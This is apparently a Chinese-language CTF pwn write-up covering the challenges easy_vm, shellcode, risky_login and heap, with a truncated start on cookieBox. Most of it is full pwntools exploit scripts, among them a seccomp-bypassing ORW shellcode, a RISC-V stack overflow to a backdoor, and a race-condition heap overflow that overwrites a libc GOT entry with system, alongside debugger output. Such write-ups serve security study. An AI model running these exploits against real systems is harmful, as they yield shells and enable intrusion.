0%

easy_vm

1
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11) stable release version 2.23, by Roland McGrath et al.
1
2
3
4
5
6
pwn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=26ed58f813bfbb711bf498f43d760c8ba0fcaf53, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,Full RELRO,NX,PIE

漏洞分析

本程序没有明显的漏洞,是利用程序提供的机制进行入侵:

1
2
3
4
5
6
ptr = malloc(0x1000uLL);
malloc(0x20uLL);
free(ptr);
ptr = 0LL;
data = malloc(0x1000uLL);
code = (char *)malloc(0x1000uLL);
  • 程序的这一波操作会将 libc_addr 遗留在 data 中
1
2
3
4
pwndbg> telescope 0x5645cca65010
00:0000│ rax 0x5645cca65010 —▸ 0x7f354ef32b78 —▸ 0x5645cca67050 ◂— 0x0
01:00080x5645cca65018 —▸ 0x7f354ef32b78 —▸ 0x5645cca67050 ◂— 0x0
02:00100x5645cca65020 ◂— 0x0

入侵思路

核心思路就是利用 data 中遗留的 libc_addr 打 exit_hook,对于 exit_hook 的位置可以使用以下方法进行查找:

1
2
3
4
5
6
7
8
pwndbg>  p rtld_lock_default_lock_recursive
$1 = {void (void *)} 0x7f354ef38c90 <rtld_lock_default_lock_recursive>
pwndbg> search -t qword 0x7f354ef38c90
Searching for value: b'\x90\x8c\xf3N5\x7f\x00\x00'
warning: Unable to access 16000 bytes of target memory at 0x7f354ed35d07, halting search.
ld-2.23.so 0x7f354f15ef48 0x7f354ef38c90
pwndbg> distance 0x7f354f15ef48 0x7f354eb6e000
0x7f354f15ef48->0x7f354eb6e000 is -0x5f0f48 bytes (-0xbe1e9 words)

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './pwn1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('','9999')

def debug():
#gdb.attach(p,"b* 0x401125\n")
gdb.attach(p,"b *$rebase(0x92E)\n")
pause()

def cmd(op):
sla(">",str(op))

one_gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]

#debug()
payload = p64(2)
payload += p64(7)+p64(0x3c4b78)
payload += p64(1)
payload += p64(6)+p64(one_gadgets[3])
payload += p64(1)
payload += p64(7)+p64(one_gadgets[3])
payload += p64(6)+p64(0x5f0f48)
payload += p64(3)

sla("code:",payload)

p.interactive()

shellcode

1
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
1
2
3
4
5
6
7
shellcode: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=41d67b4f1d7bba2b90bd3fcf2cbf5119a31a6dcb, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
  • 64位,dynamically,Full RELRO,Canary,PIE
1
2
3
4
5
6
cxt = seccomp_init(0LL);
seccomp_rule_add(cxt, 0x7FFF0000LL, SYS_open, 0LL);
seccomp_rule_add(cxt, 0x7FFF0000LL, SYS_read, 1LL);
seccomp_rule_add(cxt, 0x7FFF0000LL, SYS_write, 1LL);
seccomp_rule_add(cxt, 0x7FFF0000LL, SYS_dup2, 0LL);
return seccomp_load(cxt);
  • 只能打 ORW(需要先进行 patch 才能用 seccomp-tools 查看)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x12 0xc000003e if (A != ARCH_X86_64) goto 0020
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0f 0xffffffff if (A != 0xffffffff) goto 0020
0005: 0x15 0x0d 0x00 0x00000002 if (A == open) goto 0019
0006: 0x15 0x0c 0x00 0x00000021 if (A == dup2) goto 0019
0007: 0x15 0x00 0x05 0x00000000 if (A != read) goto 0013
0008: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count)
0009: 0x25 0x0a 0x00 0x00000000 if (A > 0x0) goto 0020
0010: 0x15 0x00 0x08 0x00000000 if (A != 0x0) goto 0019
0011: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0012: 0x25 0x07 0x06 0x00000002 if (A > 0x2) goto 0020 else goto 0019
0013: 0x15 0x00 0x06 0x00000001 if (A != write) goto 0020
0014: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # write(fd, buf, count)
0015: 0x25 0x03 0x00 0x00000000 if (A > 0x0) goto 0019
0016: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0020
0017: 0x20 0x00 0x00 0x00000010 A = fd # write(fd, buf, count)
0018: 0x25 0x00 0x01 0x00000002 if (A <= 0x2) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x06 0x00 0x00 0x00000000 return KILL

漏洞分析

程序可以执行 shellcode:

1
2
box();
(*(void (**)(void))code)();

入侵思路

程序对 shellcode 的限制特别严格:

1
2
3
4
5
6
for ( buf = code; buf; ++buf )
{
read(0, buf, 1uLL);
if ( (buf - code) >> 4 > 0 )
break;
}
  • 输入字节数为16
1
2
3
4
5
6
7
8
9
10
11
12
13
if ( code )
{
while ( *buf >= 0x4F && *buf <= 0x5F )
{
++index;
++buf;
}
if ( !((buf - code) >> 4) )
{
puts("[*] It's Not GW's Expect !");
exit(-1);
}
}
  • 限制 shellcode 的每个字符都要在 [0x4F,0x5F] 的范围内

首先必须绕过对字符的限制,因为就连 “flag” 字符串也会被隔离,接着要解决 shellcode 长度的问题,在面对带有限制的 shellcode 时有两种处理方法:

  • 构造 sys_read
  • 通过 add rsp offset; ret; 来将栈迁移到不被限制的区域
  • 通过汇编指令来修改 shellcode 本身(shellcode 自修改)

由于 syscall 0f05 被限制并且 shellcode 本身也较短,上述两种方法好像都不适用,但程序有一个地方可以写入 syscall:

1
2
3
4
5
6
puts("[2] Input: (ye / no)");
read(0, buf, 2uLL);
if ( !strcmp(buf, "ye") )
puts("xxxx{xxxx_xxxx_xxxx_xxxx}");
else
pwn(buf);

执行 shellcode 时的寄存器信息和栈信息如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 RAX  0x7ffe033d0c50 ◂— 0x59595a515e505f53 ('S_P^QZYY') /* sys_read para2 */
RBX 0x0 /* sys_read para1 */
RCX 0x55cd7e1ede7f
RDX 0x55c8229cf7b0 ◂— 0x0
RDI 0x7
RSI 0x55c8229ce010 ◂— 0x7
R8 0x55c8229cf6b0 ◂— 0x55cd7e1ede7f
R9 0x55c8229cf6b0 ◂— 0x55cd7e1ede7f
R10 0x1
R11 0x20218404d1c748ff
R12 0x7ffe033d0dc8 —▸ 0x7ffe033d23cd ◂— './shellcode1'
R13 0x55c821dff574 ◂— endbr64
R14 0x55c821e01d60 —▸ 0x55c821dff240 ◂— endbr64
R15 0x7f4e14593040 (_rtld_global) —▸ 0x7f4e145942e0 —▸ 0x55c821dfe000 ◂— 0x10102464c457f
RBP 0x7ffe033d0c70 —▸ 0x7ffe033d0cb0 ◂— 0x1
*RSP 0x7ffe033d0c18 —▸ 0x55c821dff4f4 ◂— nop
*RIP 0x7ffe033d0c50 ◂— 0x59595a515e505f53 ('S_P^QZYY')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> stack
00:0000│ rsp 0x7ffe033d0c18 —▸ 0x55c821dff4f4 ◂— nop
01:00080x7ffe033d0c20 ◂— 0x14
02:00100x7ffe033d0c28 —▸ 0x7ffe033d0c80 ◂— 0x6f6e /* 'no' */
03:00180x7ffe033d0c30 ◂— 0x1021e000e9
04:00200x7ffe033d0c38 —▸ 0x7ffe033d0c60 —▸ 0x7ffe033d0d0a ◂— 0xc34400007f4e1459
05:00280x7ffe033d0c40 —▸ 0x7ffe033d0c60 —▸ 0x7ffe033d0d0a ◂— 0xc34400007f4e1459
06:00300x7ffe033d0c48 —▸ 0x7ffe033d0c50 ◂— 0x59595a515e505f53 ('S_P^QZYY')
07:0038│ rax rip 0x7ffe033d0c50 ◂— 0x59595a515e505f53 ('S_P^QZYY')
pwndbg>
08:00400x7ffe033d0c58 ◂— 0x5a55555555555d5c ('\\]UUUUUZ')
09:00480x7ffe033d0c60 —▸ 0x7ffe033d0d0a ◂— 0xc34400007f4e1459
0a:00500x7ffe033d0c68 ◂— 0x12dacfe397d04000
0b:0058│ rbp 0x7ffe033d0c70 —▸ 0x7ffe033d0cb0 ◂— 0x1
0c:00600x7ffe033d0c78 —▸ 0x55c821dff613 ◂— lea rax, [rip + 0xb01]
  • pop rsp 使 0x7ffe033d0c80 成为 rsp 时,寄存器信息如下:
1
2
*RSP  0x7fff656bc980 ◂— 0x50f
*RIP 0x7fff656bc957 ◂— 0x5f5555555555585d (']XUUUUU_')
  • 寄存器 rsp rip 距离很近,只需要进行适当数量的 pushpop 就控制 rip(具体数量可以边调试边调整)

最后需要使用 shellcraft.dup2(a,b) 对文件描述符进行迁移才能绕过 sandbox

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './shellcode1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x14F2)\n")
#pause()

def cmd(op):
sla("Your chocie:",bytes(op))

#debug()
sa("[2] Input: (ye / no)",asm("syscall"))

payload = asm(
'''
push rbx
pop rdi
push rax
pop rsi
pop rcx
pop rcx
pop rsp
pop rbp
pop rax
push rbp
push rbp
push rbp
push rbp
push rax
push rbp
''').ljust(16,p8(0x5a))

sla("[5] ======== Input Your P0P Code ========",payload)

gadget = "sub rsp,0x18;"
shellcode_open = shellcraft.open("rsp")
shellcode_dup1 = shellcraft.dup2(3,0)
shellcode_read = shellcraft.read("rax","rsp",60)
shellcode_dup2 = shellcraft.dup2(1,0x100000000)
shellcode_write = shellcraft.write(0x100000000,"rsp",60)
shellcode=asm(gadget+shellcode_open+shellcode_dup1+shellcode_read+shellcode_dup2+shellcode_write,arch='amd64')

payload = "flag\x00"+"a"*(0x10-3)+shellcode
sleep(0.2)
sl(payload)

p.interactive()

risky_login

1
GNU C Library (GNU libc) stable release version 2.37.
1
2
3
4
5
6
7
8
pwn: ELF 64-bit LSB executable, UCB RISC-V, RVC, double-float ABI, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-riscv64-lp64d.so.1, for GNU/Linux 4.15.0, stripped              
[!] Could not populate PLT: AttributeError: arch must be one of ['aarch64', 'alpha', 'amd64', 'arm', 'avr', 'cris', 'i386', 'ia64', 'm68k', 'mips', 'mips64', 'msp430', 'none', 'powerpc', 'powerpc64', 'riscv', 's390', 'sparc', 'sparc64', 'thumb', 'vax']
[*] '/home/yhellow/桌面/shellcoe/pwn'
Arch: em_riscv-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)
  • 64位,dynamically,NX

直接运行程序会出现以下报错:

1
riscv64-binfmt-P: Could not open '/lib/ld-linux-riscv64-lp64d.so.1': No such file or directory

关于 RISC-V 架构可以参考以下网站:

漏洞分析

由于 IDA 对 RISC-V 架构的程序分析出错,GDB 实际上是在调试 qemu,这里只能通过分析静态汇编代码来进行入侵(目测栈溢出)

有后门:

1
2
3
.text:0000000012345770                               loc_12345770:                           # CODE XREF: sub_123456EE+66↑j
.text:0000000012345770 13 85 81 87 la a0, buf
.text:0000000012345774 97 B0 CC ED E7 80 C0 FE call system

由于不熟悉 RISC-V 架构,很难直接从汇编代码中看出是否有栈溢出,因此最简单的方式就是直接输入大数据看看是否会 crash

1
2
sla("name","a"*0x7)
sla("words","a"*0x100)
1
2
3
4
Traceback (most recent call last):
File "/home/yhellow/.local/lib/python3.10/site-packages/pwnlib/tubes/process.py", line 746, in close
fd.close()
BrokenPipeError: [Errno 32] Broken pipe
  • Broken pipe,证明有栈溢出漏洞

入侵思路

由于不确定 padding 的填充数量,我们可以写一个简单的脚本来进行测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
find_list = []
for i in range(0x180):
payload = "a"*(0x180-i)
try:
p = process(challenge)
sla("name","a")
sa("words",payload)
ru("too long")
except:
find_list.append(hex(len(payload)))
success("find: "+str(len(payload)))
p.close()
continue
print(find_list)
1
['0x107', '0x106', '0x105', '0x104', '0x103', '0x102', '0x101', '0x100', '0x27', '0x25', '0x24', '0x23', '0x22', '0x21', '0x20', '0x1f', '0x1e', '0x1d', '0x1c', '0x1b', '0x1a', '0x19', '0x18', '0x17', '0x16', '0x15', '0x14', '0x13', '0x12', '0x11', '0x10', '0xf', '0xe', '0xd', '0xc', '0xb', '0xa', '0x9', '0x8', '0x7', '0x6', '0x5', '0x4', '0x3', '0x2', '0x1']
  • [0x1,0x27] 都是由于字节数太小而没有触发报错,从 0x100 开始都是 crash
  • 基本确定了 padding 的大小就是 0x100

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *

arch = 64
challenge = './pwn'

context.os='linux'
#context.log_level = 'debug'

if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

elf = ELF(challenge)
libc = ELF('libc.so.6')

local = 1
if local:
#p = gdb.debug(challenge,"b*0x012345826\n")
p = process(challenge)
else:
p = remote('172.16.159.33','58012')

def debug():
gdb.attach(p,"b*0x012345826\n")
#gdb.attach(p,"b *$rebase(0x18BD)\nb *$rebase(0x1A02)\n")
pause()

#debug()
"""
find_list = []
for i in range(0x180):
payload = "a"*(0x180-i)
try:
p = process(challenge)
sla("name","a")
sa("words",payload)
ru("too long")
except:
find_list.append(hex(len(payload)))
success("find: "+str(len(payload)))
p.close()
continue
print(find_list)
"""

backdoor = 0x12345770
payload = b"a"*0x100 + p64(backdoor)
sla("name","/bin/sh")
sa("words",payload)

p.interactive()

heap

1
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
1
2
3
4
5
6
heap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=889e7948d634cc86970feeb81c2a72787086723b, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

条件竞争:

1
2
3
4
5
if ( pthread_create(&newthread, 0LL, (void *(*)(void *))(&func_list)[op], chunk) )
{
perror("Thread creation failed");
++times;
}

在 edit 模块中的 sleep 函数也在暗示条件竞争:

1
2
3
index = atoi(data);
chunk = *((_DWORD *)chunk_list[index] + 2);
sleep(1u);

入侵思路

由于 edit 模块有延迟,也就是说 edit 模块效验 len 的代码和使用 len 的代码是分开的:

1
2
3
4
5
6
7
8
9
10
index = atoi(data);
len = chunk_list[index]->len;
sleep(1u);
if ( index <= 0xF && chunk_list[index] )
{
printf("paper index: %d\n", index);
puts("Input the new paper content");
strncpy(chunk_list[index]->data, dest, len);
puts("Done");
}

在 edit 模块效验完 len 并 sleep 的这段时间里,其他的进程可能会修改 chunk_list[index],使更小的 chunk 写入其中,导致后续的 strncpy 发生堆溢出

利用堆溢出,我们可以覆盖相邻 chunk 内部指针的低位,最后的泄露地址如下:

1
2
3
114:08a0│  0x7f3bc40008a0 —▸ 0x7f3bc9619c80 (main_arena) ◂— 0x0
115:08a8│ 0x7f3bc40008a8 ◂— 0x0
116:08b0│ 0x7f3bc40008b0 ◂— 0x0

进行泄露的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
add(b"a"*(0x68-6))
edit(0,b"a"*0x58+b"b"*8+p16(0x8a0))
dele(0)

add(b"1"*0x50)
add(b"2"*0x50)
add(b"3"*0x50)

dele(2)
dele(0)

add(b"0"*0x50)
ru("Input the new paper content")
show(1)
ru("paper content: ")
leak_addr = u64(ru("\n").ljust(8,"\x00"))
libc_base = leak_addr - 0x219c80
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

由于程序的 libc 版本过高 free_hook 等常规手段失效,现在只有以下3个选择:

  • 打 IO
  • 打 exit_hook
  • 打栈
  • 打 libc got

由于程序对堆的控制比较有限,因此先不考虑打 IO,而高版本 libc 的 exit_hook 也不好找,因此这里我们先考虑打栈

在有多线程的题目中一般不考虑用 TLS 获取栈地址,而是使用 __libc_argv 环境变量:

1
2
3
4
5
pwndbg> p &__libc_argv
$4 = (char ***) 0x7fe52da1aa20 <__libc_argv>
pwndbg> telescope 0x7fe52da1aa20
00:00000x7fe52da1aa20 (__libc_argv) —▸ 0x7ffea2946de8 —▸ 0x7ffea29483df ◂— 0x4400706165682f2e /* './heap' */
01:00080x7fe52da1aa28 (__libc_argc) ◂— 0x1

最后一个问题就是 one_gadget 的条件比较苛刻只能写入 system,但 system 在调用后可能会发生栈错误,在 GDB 的配合下勉强可以打通

非完整 exp 如下:(这个 exp 打通率很低)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './heap1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-3.35.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x18BD)\nb *$rebase(0x1A02)\n")
#pause()

def cmd(op):
sla("Your chocie:",bytes(op))

def add(data):
ru("Your chocie:")
payload = b"1 " + data
sl(payload)

def show(index):
payload = b"2 " + bytes(index)
sl(payload)

def edit(index,data):
ru("Your chocie:")
payload = b"3 " + bytes(index) + b":" + data
sl(payload)

def dele(index):
payload = b"4 " + bytes(index)
sl(payload)

add(b"a"*(0x68-6))
edit(0,b"a"*0x58+b"b"*8+p16(0x8a0))
dele(0)

add(b"1"*0x50)
add(b"2"*0x50)
add(b"3"*0x50)

ru("Input the new paper content")
show(1)
ru("paper content: ")
leak_addr = u64(ru("\n").ljust(8,"\x00"))
libc_base = leak_addr - 0x219c80
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

free_hook = libc_base + libc.sym["__free_hook"]
system_libc = libc_base + libc.sym["system"]
stack_libc = libc_base + 0x21aa20
one_gadgets = [0x50a37,0xebcf1,0xebcf5,0xebcf8,0xebd52,0xebdaf,0xebdb3]
one_gadget = one_gadgets[1] + libc_base
success("system_libc >> "+hex(system_libc))
success("stack_libc >> "+hex(stack_libc))
success("one_gadget >> "+hex(one_gadget))

payload = b"1 " + "a"*(0x68)
sl(payload)
edit(3,b"a"*0x58+b"b"*8+p64(stack_libc))
dele(3)

add(b"1"*0x50)
add(b"2"*0x50)

ru("Input the new paper content")
show(4)
ru("paper content: ")
leak_addr = u64(ru("\n").ljust(8,"\x00"))
stack_addr = leak_addr - 0x110
success("leak_addr >> "+hex(leak_addr))
success("stack_addr >> "+hex(stack_addr))

payload = b"1 " + "a"*(0x68)
sl(payload)
edit(5,b"a"*0x58+b"b"*8+p64(stack_addr))
dele(5)

add(b"1"*0x50)
add(b"2"*0x50)

#debug()

ru("Input the new paper content")
payload = b"3 " + bytes(6) + b":" + p64(system_libc)
sl(payload)

ru("Input the new paper content")
sl("5 /bin/sh\x00")

p.interactive()

更优化的方法是打 libc got,在 GDB 中查看可用的 got:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> telescope 0x7f3a80619008
00:00000x7f3a80619008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7f3a806e94c0 —▸ 0x7f3a80400000 ◂— 0x3010102464c457f
01:00080x7f3a80619010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7f3a80700d30 (_dl_runtime_resolve_xsavec) ◂— endbr64
02:00100x7f3a80619018 (*ABS*@got.plt) —▸ 0x7f3a805b3e80 (__strnlen_evex) ◂— endbr64
03:00180x7f3a80619020 (*ABS*@got.plt) —▸ 0x7f3a805afca0 (__rawmemchr_evex) ◂— endbr64
04:00200x7f3a80619028 (realloc@got[plt]) —▸ 0x7f3a80428030 ◂— endbr64
05:00280x7f3a80619030 (*ABS*@got.plt) —▸ 0x7f3a8059b930 (__strncasecmp_avx) ◂— endbr64
06:00300x7f3a80619038 (_dl_exception_create@got.plt) —▸ 0x7f3a80428050 ◂— endbr64
07:00380x7f3a80619040 (*ABS*@got.plt) —▸ 0x7f3a805aef00 (__mempcpy_evex_unaligned_erms) ◂— endbr64
pwndbg>
08:00400x7f3a80619048 (*ABS*@got.plt) —▸ 0x7f3a805afa90 (__wmemset_evex_unaligned) ◂— endbr64
09:00480x7f3a80619050 (calloc@got[plt]) —▸ 0x7f3a80428080 ◂— endbr64
0a:00500x7f3a80619058 (*ABS*@got.plt) —▸ 0x7f3a80598990 (__strspn_sse42) ◂— endbr64
0b:00580x7f3a80619060 (*ABS*@got.plt) —▸ 0x7f3a805ae680 (__memchr_evex) ◂— endbr64
0c:00600x7f3a80619068 (*ABS*@got.plt) —▸ 0x7f3a805aef40 (__memmove_evex_unaligned_erms) ◂— endbr64
0d:00680x7f3a80619070 (*ABS*@got.plt) —▸ 0x7f3a805b5700 (__wmemchr_evex) ◂— endbr64
0e:00700x7f3a80619078 (*ABS*@got.plt) —▸ 0x7f3a805afe20 (__stpcpy_evex) ◂— endbr64
0f:00780x7f3a80619080 (*ABS*@got.plt) —▸ 0x7f3a805b5a00 (__wmemcmp_evex_movbe) ◂— endbr64

  • 通过看别人博客发现 __strspn_sse42 比较好用
  • 经过测试,需要把 0x7f3a80619040-0x7f3a80619050__strspn_sse42 往上 0x18 字节)都破坏掉,然后在 __strspn_sse42 上放入 system 才能打通(不然会有段错误)

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './heap1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-3.35.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x18BD)\nb *$rebase(0x1A02)\n")
#pause()

def cmd(op):
sla("Your chocie:",bytes(op))

def add(data):
ru("Your chocie:")
payload = b"1 " + data
sl(payload)

def show(index):
payload = b"2 " + bytes(index)
sl(payload)

def edit(index,data):
ru("Your chocie:")
payload = b"3 " + bytes(index) + b":" + data
sl(payload)

def dele(index):
payload = b"4 " + bytes(index)
sl(payload)

add(b"a"*(0x68-6))
edit(0,b"a"*0x58+b"b"*8+p16(0x8a0))
dele(0)

add(b"1"*0x50)
add(b"2"*0x50)
add(b"3"*0x50)

ru("Input the new paper content")
show(1)
ru("paper content: ")
leak_addr = u64(ru("\n").ljust(8,"\x00"))
libc_base = leak_addr - 0x219c80
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

system_libc = libc_base + libc.sym["system"]
libc_got = libc_base + 0x219058 - 0x18
success("system_libc >> "+hex(system_libc))
success("libc_got >> "+hex(libc_got))

payload = b"1 " + "a"*(0x68)
sl(payload)
edit(3,b"a"*0x58+b"b"*8+p64(libc_got))
dele(3)

add(b"1"*0x50)
add(b"2"*0x50)

#debug()

ru("Input the new paper content")
payload = b"3 " + bytes(4) + b":" + "a"*0x18+p64(system_libc)
sl(payload)

ru("Input the new paper content")
sl("/bin/sh")

p.interactive()

cookieBox

1
/home/cnitlrt/aaa/XCTF_2020_PWN_musl/source/musl-1.1.24
1
2
3
4
v27 = " [args]";
v28 = (size_t)base;
v29 = "1.1.24";
v30 = "musl libc (x86_64)\nVersion %s\nDynamic Program Loader\nUsage: %s [options] [--] pathname%s\n";
1
2
3
4
5
6
cookieBox: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/cnitlrt/aaa/XCTF_2020_PWN_musl/source/musl-1.1.24/build/lib/ld-musl-x86_64.so.1, stripped
Arch: amd64-64-little
